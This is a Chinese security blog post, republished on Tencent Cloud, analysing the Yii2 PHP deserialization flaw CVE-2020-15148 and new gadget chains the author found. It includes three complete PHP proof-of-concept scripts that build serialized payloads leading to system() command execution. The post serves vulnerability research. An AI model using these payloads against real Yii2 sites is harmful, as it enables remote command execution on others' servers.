Loading [MathJax]/jax/output/CommonHTML/fonts/TeX/AMS-Regular.js
前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >我是怎么挖掘yii2反序列化0day的

我是怎么挖掘yii2反序列化0day的

作者头像
tnt阿信
发布于 2020-09-27 03:25:53
发布于 2020-09-27 03:25:53
1.6K00
代码可运行
举报
运行总次数:0
代码可运行

?弟们,又到周末了,是时候给大家整活儿了

放心,这次不是在线吹牛环节,咱们还是得偶尔换换口味整整硬菜嘛

话说

周五我们小组团建结束,我扶着地铁回到了我温暖的小窝

一进屋,这该死的令人陶醉的氛围就让我丢盔卸甲,疲软不堪,就像是陷入了一位妙龄少女的温柔乡一般

我顺手把小书包儿一扔,鞋儿一脱,打开电脑准备欣赏一下脱口秀大会,给自己补充点快乐

又顺手打开了荒野乱斗

一边在脱口秀的舞台上补充快乐,一边在多人竞技的战场上独领风骚

这滋味,10瓶肥宅快乐水也换不来呀?

给大家看看我这职业玩家般丝滑的操作

可是正当我玩的起劲的时候,我无意间在微信上看到有师傅发了最新的yii2框架反序列化漏洞payload

我立马开始焦虑起来?,这帮家伙真tm不休息吗

手里的游戏突然就不香了,脱口秀的舞台也黯淡无光了

才怪?

焦虑归焦虑,夜还是不能熬的呀,猛男从来都是十一点睡觉的,嘤嘤嘤

“明天起床搞”,于是我在焦虑中睡去,并给自己定了个六点的⏰

果然,今天7:30我起床了?,一起床我就给了自己两耳光:“废物,你个区区(赘婿)菜鸡,还有脸睡懒觉!”

我起床匆匆收拾了一下(把昨晚没看完的脱口秀大会补完),然后就开始着手分析这个反序列化POP链了

咱们还是先来分析一下别人的这个利用链,然后,再说我挖到的一大堆利用链?

漏洞分析

挖掘之前还是要搭建好环境嘛,去github上下载yii2的2.0.37版本或其他更低版本

当然,你也可以选择使用composer安装,不过我用composer安装不了(特别慢)所以我是直接到github上下载的

自己在github上下载的yii2需要修改config/web.php文件里cookieValidationKey的值,随便什么值都行

然后切换到你刚刚下载的yii框架根目录,执行命令php yii serve,然后你的yii就在8080端口跑起来了:

接下来,咱们就要去看利用链了,在没有细节披露的情况下就去看github的commit记录:

上图就是与cve-2020-15148相关的所有更新,可以看到就只是在yii\db\BatchQueryResult类里添加了一个__wakeup方法,有些朋友可能不太了解这个方法

__wakeup方法在类被反序列化时会自动被调用,而这里这么写,目的就是在当BatchQueryResult类被反序列化时就直接报错,避免反序列化的发生,也就避免了漏洞

那从上面的信息就可以知道BatchQueryResult肯定是这个反序列化链中的一环,而且一般都是第一环,所以咱们就直接去看这个类吧

反序列化利用链的关键函数就是__wakeup以及__destruct,所以,我们直接看__destruct:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
public function __destruct()
{
    // make sure cursor is closed
    $this->reset();
}

public function reset()
{
    if ($this->_dataReader !== null) {
        $this->_dataReader->close();
    }
    $this->_dataReader = null;
    $this->_batch = null;
    $this->_value = null;
    $this->_key = null;
}

destruct方法里调用了reset方法,reset方法里又调用了close()方法,我一开始以为是close()方法有问题,然后我全局搜索了一下close方法,发现好像没有利用点

然后我回去翻了一下我之前挖thinkphp反序列化的文章,复习了一下php反序列化?

才意识到$this->_dataREader->close()这里可以利用魔术方法__call,于是开始全局搜索__call,出现了很多结果,但是最好利用的一个是/vendor/fzaninotto/faker/src/Faker/Generator.php,它的__call方法是这样的:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
public function __call($method, $attributes)
{
    return $this->format($method, $attributes);
}

我们跟进format:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
public function format($formatter, $arguments = array())
{
    return call_user_func_array($this->getFormatter($formatter), $arguments);
}

public function getFormatter($formatter)
{
    if (isset($this->formatters[$formatter])) {
        return $this->formatters[$formatter];
    }
    foreach ($this->providers as $provider) {
        if (method_exists($provider, $formatter)) {
            $this->formatters[$formatter] = array($provider, $formatter);

            return $this->formatters[$formatter];
        }
    }
    throw new \InvalidArgumentException(sprintf('Unknown formatter "%s"', $formatter));
}

format里调用了call_user_func_array,arguments我们都不可控,

目前arguments为空

但是没关系

this->getFormatter,在这个方法中,

也就是说call_user_func_array这个函数的第一个参数可控,第二个参数为空

现在我们可以调用yii框架中的任何一个无参的方法了,这还不够,我们需要rce

所以,我们要找一个无参数的方法,在这个方法中我们可以实现任意代码执行或者间接实现任意代码执行

到目前为止我还不知道这个利用链到底有多长,所以,我一开始采用的笨办法就是找出框架中所有的无参数方法,然后一个个排查

当我输入正则:function \w+\(\)进行?时,直接冒出来几千个无参的函数,这让我怎么玩?

后来才知道大哥们是直接找的调用了call_user_func函数的无参方法,可能这就是大师傅们的经验吧

构造正则:function \w+\(\) ?\n?\{(.*\n)+call_user_func

出来22个结果,老怀大慰呀:

经过排查,发现rest/CreateAction.php以及rest/IndexAction.php都特别?,很好利用

当然,还有其他的,感兴趣的同学可以自行查看

就拿IndexAction.php中的run方法来说,代码如下:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
public function run()
{
    if ($this->checkAccess) {
        call_user_func($this->checkAccess, $this->id);
    }

    return $this->prepareDataProvider();
}

可见

yii\db\BatchQueryResult::__destruct() -> Faker\Generator::__call() -> yii\rest\IndexAction::run()

poc1

构造个payload:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
<?php
namespace yii\rest{
    class CreateAction{
        public $checkAccess;
        public $id;

        public function __construct(){
            $this->checkAccess = 'system';
            $this->id = 'ls';
        }
    }
}

namespace Faker{
    use yii\rest\CreateAction;

    class Generator{
        protected $formatters;

        public function __construct(){
            $this->formatters['close'] = [new CreateAction(), 'run'];
        }
    }
}

namespace yii\db{
    use Faker\Generator;

    class BatchQueryResult{
        private $_dataReader;

        public function __construct(){
            $this->_dataReader = new Generator;
        }
    }
}
namespace{
    echo base64_encode(serialize(new yii\db\BatchQueryResult));
}
?>

然后,我们验证一下payload是否有效,因为这仅仅是一个反序列化利用链,所以还需要一个反序列化的入口点,这个需要我们自己构造

在controllers目录下创建一个Controller:

然后咱们发送payload:

虽然有报错,但是咱们的命令还是执行了的,nice?

ok,说完别人的,我该来说说自己挖的一些其它链了

开始挖掘

从github commit记录我们已经知道新版本的BatchQueryResult类已经无法反序列化了,那么我们就需要找一些其它的类了

找其他的类的方式也很简单,全局搜索__destruct__wakeup函数,然后一个个排查

__wakeup函数都没啥可利用的,但是有几个__destruct函数引起了我的注意

第一个自然是Psr\Http\Message\StreamInterface\FnStream下的析构函数啦,看看它的代码:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
public function __destruct()
{
    if (isset($this->_fn_close)) {
        call_user_func($this->_fn_close);
    }
}

我当时就心想,这么简单的一处反序列化都没发现吗,太菜了8,后来才发现FnStream类也修改了__wakeup函数为:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
public function __wakeup()
{
    throw new \LogicException('FnStream should never be unserialized');
}

不好意思,是我傻逼了

第一条链

那么继续看其它的呗,接下来登场的是Codeception\Extension\RunProcess,我们来看下它的__destruct方法:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
public function __destruct()
{
    $this->stopProcess();
}

public function stopProcess()
{
    foreach (array_reverse($this->processes) as $process) {
        /** @var $process Process  **/
        if (!$process->isRunning()) {
            continue;
        }
        $this->output->debug('[RunProcess] Stopping ' . $process->getCommandLine());
        $process->stop();
    }
    $this->processes = [];
}

从上述代码可以看到

然后利用链变成:

Codeception\Extension\RunProcess::__destruct() -> Faker\Generator::__call() -> yii\rest\IndexAction::run()

poc2

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
<?php
namespace yii\rest{
    class CreateAction{
        public $checkAccess;
        public $id;

        public function __construct(){
            $this->checkAccess = 'system';
            $this->id = 'ls';
        }
    }
}

namespace Faker{
    use yii\rest\CreateAction;

    class Generator{
        protected $formatters;

        public function __construct(){
            // 这里需要改为isRunning
            $this->formatters['isRunning'] = [new CreateAction(), 'run'];
        }
    }
}

// poc2
namespace Codeception\Extension{
    use Faker\Generator;
    class RunProcess{
        private $processes;
        public function __construct()
        {
            $this->processes = [new Generator()];
        }
    }
}
namespace{
    // 生成poc
    echo base64_encode(serialize(new Codeception\Extension\RunProcess()));
}
?>

第二条

然后再来看看类Swift_KeyCache_DiskKeyCache,看看它的__destruct:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
public function __destruct()
{
    foreach ($this->keys as $nsKey => $null) {
        $this->clearAll($nsKey);
    }
}

跟进clearAll方法:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
public function clearAll($nsKey)
{
    if (array_key_exists($nsKey, $this->keys)) {
        foreach ($this->keys[$nsKey] as $itemKey => $null) {
            $this->clearKey($nsKey, $itemKey);
        }
        ....
    }
}

这里的this->clearKey的,跟进去:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
public function clearKey($nsKey, $itemKey)
{
    if ($this->hasKey($nsKey, $itemKey)) {
        $this->freeHandle($nsKey, $itemKey);
        unlink($this->path.'/'.$nsKey.'/'.$itemKey);
    }
}

这里的$this->path也可控,这就方便了,可以看到这里是进行了一个字符串拼接操作,那么意味着可以利用魔术方法__toString来触发后续操作

全局搜索一下__toString方法,真的不少呀:

这怎么都能找到一个能利用的吧,我随便找了一下,就有三个,就随便拿一个说吧:

上图是我挖的过程中做的笔记?

就拿See.php中的__toString举例,代码如下:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
public function __toString() : string
{
    return $this->refers . ($this->description ? ' ' . $this->description->render() : '');
}

可以看到$this->description可控,又可以利用__call,新链出炉:

Swift_KeyCache_DiskKeyCache -> phpDocumentor\Reflection\DocBlock\Tags\See::__toString()-> Faker\Generator::__call() -> yii\rest\IndexAction::run()

poc3

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
<?php
namespace yii\rest{
    class CreateAction{
        public $checkAccess;
        public $id;

        public function __construct(){
            $this->checkAccess = 'system';
            $this->id = 'ls';
        }
    }
}

namespace Faker{
    use yii\rest\CreateAction;

    class Generator{
        protected $formatters;

        public function __construct(){
            // 这里需要改为isRunning
            $this->formatters['render'] = [new CreateAction(), 'run'];
        }
    }
}

namespace phpDocumentor\Reflection\DocBlock\Tags{

    use Faker\Generator;

    class See{
        protected $description;
        public function __construct()
        {
            $this->description = new Generator();
        }
    }
}
namespace{
    use phpDocumentor\Reflection\DocBlock\Tags\See;
    class Swift_KeyCache_DiskKeyCache{
        private $keys = [];
        private $path;
        public function __construct()
        {
            $this->path = new See;
            $this->keys = array(
                "axin"=>array("is"=>"handsome")
            );
        }
    }
    // 生成poc
    echo base64_encode(serialize(new Swift_KeyCache_DiskKeyCache()));
}
?>

当然,如果你想要一条全新的链也不是不行,只不过我要吃午?去了,下次见

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2020-09-19,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 一个安全研究员 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
编辑精选文章
换一批
CVE-2020-15148 Yii2框架反序列化漏洞
如果在使用yii框架,并且在用户可以控制的输入处调用了unserialize()并允许特殊字符的情况下,会受到反序列化远程命令命令执行漏洞攻击。
字节脉搏实验室
2021/05/31
4.5K0
yii2反序列化后续
昨天早上上班前,我无意间看到其它师傅们挖的yii2利用链,其中有一个是我之前忽略了的,就想着赶紧分享给大家,但是昨天恰了个饭(文末有福利),发不了文章,只有今天发了
tnt阿信
2020/09/27
1.2K0
yii2反序列化后续
CTFshow刷题日记-WEB-反序列化(web254-278)PHP反序列化漏洞、pop链构造、PHP框架反序列化漏洞、python反序列化漏洞
只要 get 传参反序列化后的字符串有 ctfshow_i_love_36D 就可以
全栈程序员站长
2022/09/14
2.1K0
CTFshow刷题日记-WEB-反序列化(web254-278)PHP反序列化漏洞、pop链构造、PHP框架反序列化漏洞、python反序列化漏洞
CTFshow之web入门反序列化
PHP反序列化实际上已经开始是Web安全的进阶操作了,虽然在这个时代Web选手上分极其困难,PHP反序列化已经成为了基础…..
十二惊惶
2024/02/28
4030
ThinkPHP8 反序列化调用链
去年暑假,ThinkPHP发布了8.0版本。当时也是尝试着挖掘一条反序列化调用链,相比ThinkPHP 6,不少类做了变动,外加上还做了declare (strict_types = 1);的限制,让利用变的有些许的难。 最近还是将这个任务重新捡了起来,最后也是成功找到了一条调用链并成功利用,这里就分享成功利用的部分。
Al1ex
2024/07/05
1940
ThinkPHP8 反序列化调用链
PHP反序列化漏洞
  在反序列化的过程中自动触发了某些魔术方法。未对用户输入的序列化字符串进行检测,导致攻击者可以控制反序列化过程,从而导致XSS、代码执行、文件写入、文件读取等不可控后果。
LuckySec
2022/11/02
6220
PHP反序列化漏洞
PHP反序列化学习
从名字来感觉,一个序列化一个反序列化,很轻易的就能知道unserialize()函数的用处。没错,反序列化函数就是用来将序列化后的字符串再转换为对象或数组。
ly0n
2020/11/04
8860
PHP反序列化学习
萌新必备技能--PHP框架反序列化入门教程
本文面向拥有一定PHP基础的萌新选手,从反序列化的简略原理->实战分析经典tp5.0.x的漏洞->讨论下CTF做题技巧,
猿哥
2020/02/26
7750
第四届红帽杯网络安全大赛
data2三个一组转RGB,然后data1里的数字就是对应的RGB的位置,然后根据data1的字符数量分解质因数得到宽高,最后画图去npiet解
MssnHarvey
2022/08/10
5230
第四届红帽杯网络安全大赛
ThinkPHP反序列化链构造
destruct()、wakeup()、__tostring()–当一个对象被反序列化后又被当作字符串使用时会触发 __toString方法。
ly0n
2020/11/04
9310
ThinkPHP反序列化链构造
反序列化漏洞理论实战详解
反序列化漏洞是基于序列化和反序列化的操作,在反序列化——unserialize()时存在用户可控参数,而反序列化会自动调用一些魔术方法,如果魔术方法内存在一些敏感操作例如eval()函数,而且参数是通过反序列化产生的,那么用户就可以通过改变参数来执行敏感操作,这就是反序列化漏洞。
litbaizhang
2021/03/11
2.9K1
反序列化漏洞理论实战详解
PHP反序列化漏洞说明
PHP程序为了保存和转储对象,提供了序列化的方法,序列化是为了在程序运行的过程中对对象进行转储而产生的。
Ms08067安全实验室
2020/01/02
8090
详解php反序列化
“所有php里面的值都可以使用函数serialize()来返回一个包含字节流的字符串来表示。序列化一个对象将会保存对象的所有变量,但是不会保存对象的方法,只会保存类的名字。”
用户8824291
2021/07/13
8210
PHP反序列化漏洞
魔术方法是PHP面向对象中特有的特性。它们在特定的情况下被触发,都是以双下划线开头,你可以把它们理解为钩子,利用模式方法可以轻松实现PHP面向对象中重载(Overloading即动态创建类属性和方法)
Andromeda
2022/10/27
1.1K0
PHP反序列化漏洞
经验分享 | PHP-反序列化(超细的)
ps:很多小伙伴都催更了,先跟朋友们道个歉,摸鱼太久了,哈哈哈,今天就整理一下大家遇到比较多的php反序列化,经常在ctf中看到,还有就是审计的时候也会需要,这里我就细讲一下,我建议大家自己复制源码去搭建运行,只有自己去好好理解,好好利用了才更好的把握,才能更快的找出pop链子,首先呢反序列化最重要的就是那些常见的魔法函数,很多小伙伴都不知道这个魔法函数是干啥的,今天我就一个一个,细致的讲讲一些常见的魔法函数,以及最后拿一些ctf题举例,刚开始需要耐心的看,谢谢大家的关注,我会更努力的。
F12sec
2022/09/29
2.3K0
经验分享 | PHP-反序列化(超细的)
PHP的反序列化和POP链利用
POP面向属性编程,常用于上层语言构造特定调用链的方法,与二进制利用中的面向返回编程(Return-Oriented Programing)的原理相似,都是从现有运行环境中寻找一系列的代码或者指令调用,然后根据需求构成一组连续的调用链,最终达到攻击者邪恶的目的。类似于PWN中的ROP,有时候反序列化一个对象时,由它调用的__wakeup()中又去调用了其他的对象,由此可以溯源而上,利用一次次的“gadget”找到漏洞点。
Andromeda
2023/10/21
1.2K0
PHP的反序列化和POP链利用
几种反序列化漏洞
xxe.xml 和 xxe.dtd 构造见我的 XXE 文章,XXE XML外部实体注入(https://www.cnblogs.com/Night-Tac/articles/16931091.html)
红队蓝军
2023/09/13
5450
DASCTF 2022 7月赋能赛 writeup
目前水平确实不足,下午看了几个小时的题目只出了一道web签到题,感觉这DAS的比赛纯粹为了CTF而出题,就像Ez to getflag这个题目,作为一个用户来说上传了一个1.png然后输入1.png查询查不到的话,这应该很难认为是个能用的web服务,纯ctf技巧题吧,比赛时候也做了非常久。
ek1ng
2022/08/10
7671
DASCTF 2022 7月赋能赛 writeup
PHP Phar反序列化浅析
文章首发于跳跳糖社区https://tttang.com/archive/1732
用户9691112
2023/05/18
1.3K0
PHP Phar反序列化浅析
PHP反序列化进阶学习与总结
序列化(串行化):将变量转换为可保存或传输的字符串的过程;反序列化(反串行化):将字符串转化成原来的变量使用。
Ms08067安全实验室
2022/09/26
6510
相关推荐
CVE-2020-15148 Yii2框架反序列化漏洞
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
本文部分代码块支持一键运行,欢迎体验
本文部分代码块支持一键运行,欢迎体验